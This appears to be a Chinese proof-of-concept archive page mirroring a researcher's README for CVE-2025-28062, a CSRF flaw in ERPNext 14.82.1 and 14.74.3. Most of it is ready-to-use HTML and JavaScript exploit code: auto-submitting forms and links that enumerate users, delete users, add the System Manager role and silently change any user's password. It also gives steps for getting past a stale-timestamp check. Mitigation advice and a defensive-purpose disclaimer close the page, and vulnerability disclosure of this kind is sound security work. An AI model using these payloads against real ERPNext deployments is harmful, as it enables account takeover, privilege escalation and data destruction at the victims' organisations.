目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1000

100.0%

CVE-2025-28062 PoC — ERPNext 安全漏洞

来源
关联漏洞
标题:ERPNext 安全漏洞 (CVE-2025-28062)
Description:ERPNext是印度ERPNext公司的一套开源的企业资源计划解决方案。 ERPNext 14.82.1版本和14.74.3版本存在安全漏洞,该漏洞源于缺少CSRF保护可能导致未授权操作。
Description
proof of concept
介绍
# CVE-2025-28062 — CSRF Vulnerability to Account Takeover in ERPNext 14.82.1 , 14.74.3

## 📌 Summary

A **Cross-Site Request Forgery (CSRF)** vulnerability was discovered in **ERPNext 14.82.1 and 14.74.3**, allowing attackers to perform unauthorized actions such as:

- User enumeration  
- Account takeover (password reset)  
- Arbitrary user deletion  
- Privilege escalation (adding roles)

The vulnerability stems from a **lack of CSRF protection** on critical administrative API endpoints. If an authenticated administrator visits a malicious website, their session is abused to perform these actions without consent.

---

## 🛠 Technical Details

- **Vulnerability Type:** CSRF (CWE-352)  
- **Affected Product:** ERPNext  
- **Versions:** 14.82.1, 14.74.3  
- **Severity:** High  
- **CVSS v3.1 Score:** 8.1  
- **Status:** Not fixed  
- **Discovered by:** [Ahmed Thaiban](https://x.com/thvt0ne) Thvt0ne.  
- **Date Discovered:** 2025-02-09  
- **CVE ID:** CVE-2025-28062 (Reserved)

---

## 🚀 Proof of Concepts (PoCs)

### 1. User Enumeration

```html
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
```

---

### 2. Delete User

```html
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>
```

---

### 3. Add Privileged Role to Any User

```html
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>
```

> 💡 *See full JSON payload in the repo: `/PoCs/privilege_escalation.html`*

---

### 4. Change Any User’s Password

```html
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"11@1.com","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"11@1.com","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"11@1.com","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>
```


This picture simulates that admin entered any malicious website: 
 ![image](https://github.com/user-attachments/assets/64cebdd7-a9c8-406d-9008-fa47c7278c98)

Note: if Modified Timestamps is old website can give this message: 
![image](https://github.com/user-attachments/assets/f1ac2f17-fdcd-4ce2-bfb0-f9559b6efb76)

and to bypass it use http:// localhost:8080/api/resource/User/11@1.com[owner] html page and take the Modified timestamp (to make it easier for PoC).

![image](https://github.com/user-attachments/assets/2ca0b3f1-e862-4f12-bafc-df33db997294)

Change it in the page content to be the newer one :

![image](https://github.com/user-attachments/assets/dcc28278-9bbf-4320-b6db-184b7cf56345)

Once you send it it will change the password of the User!!.

![image](https://github.com/user-attachments/assets/83a40f78-0f70-42b7-9b0f-b87f95941526)

If an authenticated admin user visits this webpage, their session will be used to execute the account password changing request without any user interaction. 

---

## 🧪 Exploitation Scenario

An attacker hosts a malicious page. If an ERPNext admin visits it while logged in, their browser automatically triggers crafted requests to ERPNext, causing account modifications or deletions without their knowledge.

---

## 🔐 Mitigation Recommendations

- Enforce CSRF tokens on all state-changing endpoints  
- Disallow `GET` requests for actions like save/delete  
- Mark authentication cookies with `SameSite=Strict`  
- Require re-authentication for critical actions (e.g. password changes, role changes)

## 🔗 References

- [ERPNext GitHub](https://github.com/frappe/erpnext)  
- [Ahmed Thaiban – LinkedIn](https://sa.linkedin.com/in/ahmedth)  
- [OWASP CSRF Guide](https://owasp.org/www-community/attacks/csrf)

---

## 🙏 Acknowledgments

Discovered by **Ahmed Thaiban** Thvt0ne.

---

## 📢 Disclaimer

This research is intended for **defensive purposes only**. The goal is to raise awareness and encourage secure development practices.
文件快照

[4.0K] /data/pocs/7ebf543885c1296e65e756b2a054bbcf41b6bfd8 ├── [7.7K] PoC.html └── [7.3K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。